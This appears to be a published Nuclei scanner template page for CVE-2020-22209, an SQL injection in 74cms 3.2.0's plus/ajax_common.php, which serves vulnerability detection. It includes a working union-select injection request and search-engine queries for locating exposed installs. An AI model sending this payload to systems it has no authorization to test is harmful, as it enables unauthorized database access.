74cms - ajax_common.php SQL Injection

ID: CVE-2020-22209

Severity: critical

Author: ritikchaddha

Tags: cve,cve2020,74cms,sqli

Description

SQL Injection in 74cms 3.2.0 via the query parameter to plus/ajax_common.php.

YAML Source

id: CVE-2020-22209

info:
  name: 74cms - ajax_common.php SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    SQL Injection in 74cms 3.2.0 via the query parameter to plus/ajax_common.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the underlying database.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the 74cms - ajax_common.php file.
  reference:
    - https://github.com/blindkey/cve_like/issues/12
    - https://nvd.nist.gov/vuln/detail/CVE-2020-22209
    - https://github.com/20142995/sectool
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-22209
    cwe-id: CWE-89
    epss-score: 0.18558
    epss-percentile: 0.96216
    cpe: cpe:2.3:a:74cms:74cms:3.2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: 74cms
    product: 74cms
    shodan-query: http.html:"74cms"
    fofa-query:
      - app="74cms"
      - body="74cms"
  tags: cve,cve2020,74cms,sqli
variables:
  num: "999999999"

http:
  - method: GET
    path:
      - '{{BaseURL}}/plus/ajax_common.php?act=hotword&query=aa%錦%27%20union%20select%201,md5({{num}}),3%23%27'

    matchers:
      - type: word
        part: body
        words:
          - '{{md5({{num}})}}'
# digest: 4b0a00483046022100c7adcf3d2094bcbed436006e146aac6e14660d556e6141c8169be8687171e695022100a179a59b0d8ec7f5ef34b90cef9b191707f361eb1fc76d1498bf6a4a0a85aca4:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-22209.yaml"

View on Github